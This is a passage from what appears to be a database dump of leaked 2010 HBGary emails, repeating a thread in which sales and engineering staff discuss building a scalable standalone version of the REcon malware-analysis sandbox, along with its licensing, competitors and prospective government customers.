[mailto:bob@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, April 02,\r\n2010 7:06 AM\r\nTo:&nbsp;\'Greg Hoglund\'; \'Penny\r\nLeavy-Hoglund\'; \'Rich Cummings\'\r\nSubject:&nbsp;Customer demand\r\nfor a standalone REcon product\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nGreg, Penny and Rich,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;ve run into multiple instances where customers/prospects\r\nwant a standalone REcon product.&nbsp; I see us going forward with a single\r\nuser REcon as part of Responder and where you must have Responder to consume\r\nthe REcon journal file.&nbsp; But in addition, we need a standalone, SCALABLE\r\nREcon product.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHere are some features that Standalone REcon would need:\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Has\r\nits own licensing scheme\r\n\r\no&nbsp;&nbsp;&nbsp;Licensing has a way to that we can charge more\r\ndepending on how many concurrent REcon instances they want to run\r\n\r\no&nbsp;&nbsp;&nbsp;Some customer want to process lots of malware so will\r\nneed to run REcon in parallel or on fast gear\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A\r\ncommand line interface so people can run it programmatically\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Its\r\noutput in an open (non-proprietary) format for easy integration into other\r\ntechnologies\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Configured\r\nto run with or without memory analysis\r\n\r\no&nbsp;&nbsp;&nbsp;Some people want it for thorough malware analysis so\r\ncombining runtime data with WPMA data would be great\r\n\r\no&nbsp;&nbsp;&nbsp;Some people want to run it as a network in-line device\r\nso for speed (minimizing the time) they will want to run the malware and just\r\nuse the journal file info &#8211; not enough time to run WPMA.&nbsp; It would be\r\nuseful to have DDNA operate on the runtime journal file info.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Some\r\ncustomers may want a web interface.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI have no idea when this could fit into the development\r\nschedule or if you would require a customer to fund its development.&nbsp;\r\nPurpose of this email is to communicate what I&#8217;ve seen in selling situations.&nbsp;\r\nThe setup I describe would also help us compete more directly with Norman and\r\nCWSandbox.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus found in this incoming message.\r\n\r\n\r\n\r\n\r\n\r\n\r\nChecked by AVG -&nbsp;www.avg.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nVersion: 9.0.800 / Virus Database:\r\n271.1.1/2785 - Release Date: 04/02/10 02:32:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.800 / Virus Database: 271.1.1/2785 - Release Date: 04/03/10\r\n02:32:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.800 / Virus Database: 271.1.1/2785 - Release Date: 04/05/10\r\n02:32:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12630,'aaron_hbgary_com/12630.html'),(4889,'2010-04-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003134.M845597P3547Q4889.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Customer demand for a standalone REcon product','Yes. &nbsp;Instead of a proposal what I want to write is a Threat Intelligence or Threat monitoring whitepaper that talks about this as a starting point and has hooks into our partners. &nbsp;I will use the template that Greg has used the last few times and will write it up and then submit it out for comments and adds. &nbsp;Sound good? &nbsp;In the back we can put the configuration for a working system.AaronOn Apr 5, 2010, at 9:27 AM, Bob Slapnik wrote:Aaron,&nbsp;Between these few emails do you have enough info to write a first draft of a proposal?&nbsp; Please let me see it before you submit it.&nbsp;Bob&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, April 05, 2010 9:26 AMTo:&nbsp;Bob SlapnikSubject:&nbsp;Re: Customer demand for a standalone REcon product&nbsp;That is great news. &nbsp;I am heading up on the 19th (I think I mentioned this) to talk with a Jerry Bodman and Robert Nissen. &nbsp;I am not sure what group they are with yet, but they want to talk about DDNA and Threat Intelligence.&nbsp;BTW, I like greg\'s comments on the $500 dollar boxes :)&nbsp;Aaron&nbsp;&nbsp;On Apr 4, 2010, at 11:15 AM, Bob Slapnik wrote:Aaron,&nbsp;See email chain for more info about the emerging standalone REcon product.&nbsp; The NSA Blue Team (Responder customer) wants a demo in 3 weeks.&nbsp; We can leverage that relationship into ANO and other NSA organizations.&nbsp; Blue Team is actively looking for a sandbox solution and want a solution in place by July/August.&nbsp; REcon as part of Responder demos well, but I want Sac to pull together a demo of the scalable, automated system.&nbsp;Bob&nbsp;From:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Sunday, April 04, 2010 11:12 AMTo:&nbsp;\'Greg Hoglund\'Cc:&nbsp;\'Penny Leavy-Hoglund\'; \'Rich Cummings\';&nbsp;\'shawn@hbgary.com\'Subject:&nbsp;RE: Customer demand for a standalone REcon product&nbsp;Greg,&nbsp;Thanks for the review of comparing REcon to the sandbox competition.&nbsp; It is going to be fun selling against them.&nbsp; Off the top of my head I see the following advantages:·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;REcon provides lowest level data – all instructions, all data used or generated·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;REcon can recover encrypted data in clear text·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;REcon scales with no upward limit with a fully automated system. We can outfit whatever processing size the customer needs.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;We also offer a single user version with manual interface with Responder. (I like very much that REcon within Responder is one binary at a time and doesn’t scale.&nbsp; It gives customers a taste for the bigger, more expensive, scalable, standalone REcon. I also like that the standalone REcon requires Responder to read the journal file output.)·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HBGary analysis combines static and dynamic analysis in one framework·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HBGary can do REcon and DDNA analysis within the same dynamic analysis run·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Competition has nothing like our r/e capabilities&nbsp;Places where HBGary needs to “catch up” to competition (but will very soon)·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Web interface option·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Ability to demo fully automated version (today I’ve only seen the Responder UI version)o&nbsp;&nbsp;&nbsp;Do you have a Standalone REcon setup in Sacramento that we can demo via webex?&nbsp;Just for clarification, is the ESX architecture a thing of the past?&nbsp; Are we 100% using the Gateway machines?&nbsp; In other words, am I to pitch only the Gateway machine approach and not the ESX server approach?&nbsp;Bob&nbsp;From:&nbsp;Greg Hoglund [mailto:greg@hbgary.com]&nbsp;Sent:&nbsp;Saturday, April 03, 2010 2:39 PMTo:&nbsp;Bob SlapnikCc:&nbsp;Penny Leavy-Hoglund; Rich Cummings;&nbsp;shawn@hbgary.comSubject:&nbsp;Re: Customer demand for a standalone REcon product&nbsp;&nbsp;&nbsp;Bob,&nbsp;You need to make it very clear to these customers that HBGary\'s solution will produce vast amounts of&nbsp;functional data that neither CW or Norman will be able to compete with.&nbsp; If they need convincing of that, email them the REcon whitepaper.&nbsp; Tell them we can collect down to the instruction, if they so desire.&nbsp; If they don\'t think they need such low level data, tell them that we can recover clear-text from otherwise encrypted data because of our low level approach.&nbsp; Also, make it clear we can integrate the data in any way to suit their statistical needs, custom to their integration needs.&nbsp; We will deliver them the source code to our C# application that manages the feed farm and statistics, so there is nothing standing in the way between them and success.&nbsp; They can chop it up and manage it any way they want.&nbsp;&nbsp;Oh, and before you piss all over the fact we use $500 gateway machines, wake up to the fact that google runs on the same.&nbsp; These so-called shitty $500 computers have more power than $5000 dollars would have bought you 3 years ago.&nbsp; Also, because they are cheap, they scale on a budget.&nbsp; If you start thinking about solutions-engineering with a real-world budget, you will realize there simply is no better choice than the way we are doing it now.&nbsp; Any other choice would be throwing good money away and probably getting poorer performance and thru-put.&nbsp; If you really think the customer won\'t buy because of the hardware, then triple the price for the same exact through-put and HBGary will unbolt the motherboards and drop them into 1-U rackspace boxes and spray paint them all bright red so it will show off better to whoever the customer is planning on walking through their data facility - since how it looks is obviously more important than actually analyzing malware.&nbsp;&nbsp;-Greg&nbsp;On Sat, Apr 3, 2010 at 9:18 AM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:Norman and CWSandbox are being considered at Booz, NSA and NG.&nbsp; Purchases haven’t been made yet so it biz we can win.&nbsp;&nbsp;From:&nbsp;Penny Leavy-Hoglund [mailto:penny@hbgary.com]&nbsp;Sent:&nbsp;Friday, April 02, 2010 2:20 PMTo:&nbsp;\'Bob Slapnik\'; \'Greg Hoglund\'; \'Rich Cummings\'Subject:&nbsp;RE: Customer demand for a standalone REcon product&nbsp;Why aren’t they using Norman or CWSandbox?&nbsp;From:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Friday, April 02, 2010 7:06 AMTo:&nbsp;\'Greg Hoglund\'; \'Penny Leavy-Hoglund\'; \'Rich Cummings\'Subject:&nbsp;Customer demand for a standalone REcon product&nbsp;Greg, Penny and Rich,&nbsp;I’ve run into multiple instances where customers/prospects want a standalone REcon product.&nbsp; I see us going forward with a single user REcon as part of Responder and where you must have Responder to consume the REcon journal file.&nbsp; But in addition, we need a standalone, SCALABLE REcon product.&nbsp;Here are some features that Standalone REcon would need:·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Has its own licensing schemeo&nbsp;&nbsp;&nbsp;Licensing has a way to that we can charge more depending on how many concurrent REcon instances they want to runo&nbsp;&nbsp;&nbsp;Some customer want to process lots of malware so will need to run REcon in parallel or on fast gear·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A command line interface so people can run it programmatically·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Its output in an open (non-proprietary) format for easy integration into other technologies·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Configured to run with or without memory analysiso&nbsp;&nbsp;&nbsp;Some people want it for thorough malware analysis so combining runtime data with WPMA data would be greato&nbsp;&nbsp;&nbsp;Some people want to run it as a network in-line device so for speed (minimizing the time) they will want to run the malware and just use the journal file info – not enough time to run WPMA.&nbsp; It would be useful to have DDNA operate on the runtime journal file info.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Some customers may want a web interface.&nbsp;I have no idea when this could fit into the development schedule or if you would require a customer to fund its development.&nbsp; Purpose of this email is to communicate what I’ve seen in selling situations.&nbsp; The setup I describe would also help us compete more directly with Norman and CWSandbox.&nbsp;Bob&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.800 / Virus Database: 271.1.1/2785 - Release Date: 04/02/10 02:32:00&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.800 / Virus Database: 271.1.1/2785 - Release Date: 04/03/10 02:32:00&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.800 / Virus Database: 271.1.1/2785 - Release Date: 04/05/10 02:32:00\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11105,'aaron_hbgary_com/11105.html'),(4890,'2010-04-05','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297003135.M359118P3547Q4891.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Customer demand for a standalone REcon product','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSounds good.&nbsp; Looks like you will be using REcon as a\r\nframework technology to sell a bigger story that involves more consulting\r\nservices.&nbsp; Aside from what you are doing with the aforementioned NSA\r\npeople I am working with the Blue Team because they want to buy a sandbox\r\nsystem.&nbsp; I forwarded you the email I sent them.&nbsp; We might want to\r\ncoordinate our proposals, but I might choose to submit a separate proposal\r\ndepending on timing of when you finish your paper.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, April 05, 2010 9:30 AM\r\nTo: Bob Slapnik\r\nSubject: Re: Customer demand for a standalone REcon product\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nYes. &nbsp;Instead of a proposal what I want to write is a\r\nThreat Intelligence or Threat monitoring whitepaper that talks about this as a\r\nstarting point and has hooks into our partners. &nbsp;I will use the template\r\nthat Greg has used the last few times and will write it up and then submit it\r\nout for comments and adds. &nbsp;Sound good? &nbsp;In the back we can put the\r\nconfiguration for a working system.\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 5, 2010, at 9:27 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBetween these few emails do you have enough info to write a\r\nfirst draft of a proposal?&nbsp; Please let me see it before you submit it.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, April 05,\r\n2010 9:26 AM\r\nTo:&nbsp;Bob Slapnik\r\nSubject:&nbsp;Re: Customer\r\ndemand for a standalone REcon product\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThat is great news. &nbsp;I am heading up on the 19th (I\r\nthink I mentioned this) to talk with a Jerry Bodman and Robert Nissen. &nbsp;I\r\nam not sure what group they are with yet, but they want to talk about DDNA and\r\nThreat Intelligence.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBTW, I like greg\'s comments on the $500 dollar boxes :)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 4, 2010, at 11:15 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSee email chain for more info about the emerging standalone\r\nREcon product.&nbsp; The NSA Blue Team (Responder customer) wants a demo in 3\r\nweeks.&nbsp; We can leverage that relationship into ANO and other NSA\r\norganizations.&nbsp; Blue Team is actively looking for a sandbox solution and\r\nwant a solution in place by July/August.&nbsp; REcon as part of Responder demos\r\nwell, but I want Sac to pull together a demo of the scalable, automated system.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Bob Slapnik\r\n[mailto:bob@hbgary.com]&nbsp;\r\nSent:&nbsp;Sunday, April 04,\r\n2010 11:12 AM\r\nTo:&nbsp;\'Greg Hoglund\'\r\nCc:&nbsp;\'Penny Leavy-Hoglund\';\r\n\'Rich Cummings\';&nbsp;\'shawn@hbgary.com\'\r\nSubject:&nbsp;RE: Customer\r\ndemand for a standalone REcon product\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGreg,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks for the review of comparing REcon to the sandbox\r\ncompetition.&nbsp; It is going to be fun selling against them.&nbsp; Off the\r\ntop of my head I see the following advantages:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;REcon provides lowest level\r\ndata &#8211; all instructions, all data used or generated\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;REcon can recover encrypted\r\ndata in clear text\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;REcon scales with no upward\r\nlimit with a fully automated system. We can outfit whatever processing size the\r\ncustomer needs.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;We also offer a single user\r\nversion with manual interface with Responder. (I like very much that REcon\r\nwithin Responder is one binary at a time and doesn&#8217;t scale.&nbsp; It\r\ngives customers a taste for the bigger, more expensive, scalable, standalone\r\nREcon. I also like that the standalone REcon requires Responder to read the\r\njournal file output.)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HBGary analysis combines\r\nstatic and dynamic analysis in one framework\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HBGary can do REcon and DDNA\r\nanalysis within the same dynamic analysis run\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Competition has nothing like\r\nour r/e capabilities\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPlaces where HBGary needs to &#8220;catch up&#8221; to\r\ncompetition (but will very soon)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Web interface option\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Ability to demo fully\r\nautomated version (today I&#8217;ve only seen the Responder UI version)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\no&nbsp;&nbsp;&nbsp;Do\r\nyou have a Standalone REcon setup in Sacramento that we can demo via webex?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJust for clarification, is the ESX architecture a thing of the\r\npast?&nbsp; Are we 100% using the Gateway machines?&nbsp; In other words, am I\r\nto pitch only the Gateway machine approach and not the ESX server approach?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Greg Hoglund\r\n[mailto:greg@hbgary.com]&nbsp;\r\nSent:&nbsp;Saturday, April 03,\r\n2010 2:39 PM\r\nTo:&nbsp;Bob Slapnik\r\nCc:&nbsp;Penny Leavy-Hoglund;\r\nRich Cummings;&nbsp;shawn@hbgary.com\r\nSubject:&nbsp;Re: Customer\r\ndemand for a standalone REcon product\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYou need to make it very clear to these customers that\r\nHBGary\'s solution will produce vast amounts of&nbsp;functional data that\r\nneither CW or Norman will be able to compete with.&nbsp; If they need convincing\r\nof that, email them the REcon whitepaper.&nbsp; Tell them we can collect down\r\nto the instruction, if they so desire.&nbsp; If they don\'t think they need such\r\nlow level data, tell them that we can recover clear-text from otherwise\r\nencrypted data because of our low level approach.&nbsp; Also, make it clear we\r\ncan integrate the data in any way to suit their statistical needs, custom to\r\ntheir integration needs.&nbsp; We will deliver them the source code to our C#\r\napplication that manages the feed farm and statistics, so there is nothing\r\nstanding in the way between them and success.&nbsp; They can chop it up and\r\nmanage it any way they want.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOh, and before you piss all over the fact we use $500\r\ngateway machines, wake up to the fact that google runs on the same.&nbsp; These\r\nso-called shitty $500 computers have more power than $5000 dollars would have\r\nbought you 3 years ago.&nbsp; Also, because they are cheap, they scale on a\r\nbudget.&nbsp; If you start thinking about solutions-engineering with a\r\nreal-world budget, you will realize there simply is no better choice than the\r\nway we are doing it now.&nbsp; Any other choice would be throwing good money\r\naway and probably getting poorer performance and thru-put.&nbsp; If you really\r\nthink the customer won\'t buy because of the hardware, then triple the price for\r\nthe same exact through-put and HBGary will unbolt the motherboards and drop\r\nthem into 1-U rackspace boxes and spray paint them all bright red so it will\r\nshow off better to whoever the customer is planning on walking through their\r\ndata facility - since how it looks is obviously more important than actually\r\nanalyzing malware.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sat, Apr 3, 2010 at 9:18 AM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNorman and CWSandbox are being\r\nconsidered at Booz, NSA and NG.&nbsp; Purchases haven&#8217;t been made yet so\r\nit biz we can win.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Penny Leavy-Hoglund [mailto:penny@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, April 02,\r\n2010 2:20 PM\r\nTo:&nbsp;\'Bob Slapnik\'; \'Greg\r\nHoglund\'; \'Rich Cummings\'\r\nSubject:&nbsp;RE: Customer\r\ndemand for a standalone REcon product\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhy aren&#8217;t they using\r\nNorman or CWSandbox?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, April 02,\r\n2010 7:06 AM\r\nTo:&nbsp;\'Greg Hoglund\'; \'Penny\r\nLeavy-Hoglund\'; \'Rich Cummings\'\r\nSubject:&nbsp;Customer demand\r\nfor a standalone REcon product\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGreg, Penny and Rich,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;ve run into multiple instances where\r\ncustomers/prospects want a standalone REcon product.&nbsp; I see us going\r\nforward with a single user REcon as part of Responder and where you must have\r\nResponder to consume the REcon journal file.&nbsp; But in addition, we need a\r\nstandalone, SCALABLE REcon product.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHere are some features that Standalone REcon would need:\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Has\r\nits own licensing scheme\r\n\r\no&nbsp;&nbsp;&nbsp;Licensing has a way to that we can charge more\r\ndepending on how many concurrent REcon instances they want to run\r\n\r\no&nbsp;&nbsp;&nbsp;Some customer want to process lots of malware so will\r\nneed to run REcon in parallel or on fast gear\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A\r\ncommand line interface so people can run it programmatically\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Its\r\noutput in an open (non-proprietary) format for easy integration into other\r\ntechnologies\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Configured\r\nto run with or without memory analysis\r\n\r\no&nbsp;&nbsp;&nbsp;Some people want it for thorough malware analysis so\r\ncombining runtime data with WPMA data would be great\r\n\r\no&nbsp;&nbsp;&nbsp;Some people want to run it as a network in-line device\r\nso for speed (minimizing the time) they will want to run the malware and just\r\nuse the journal file info &#8211; not enough time to run WPMA.&nbsp; It would\r\nbe useful to have DDNA operate on the runtime journal file 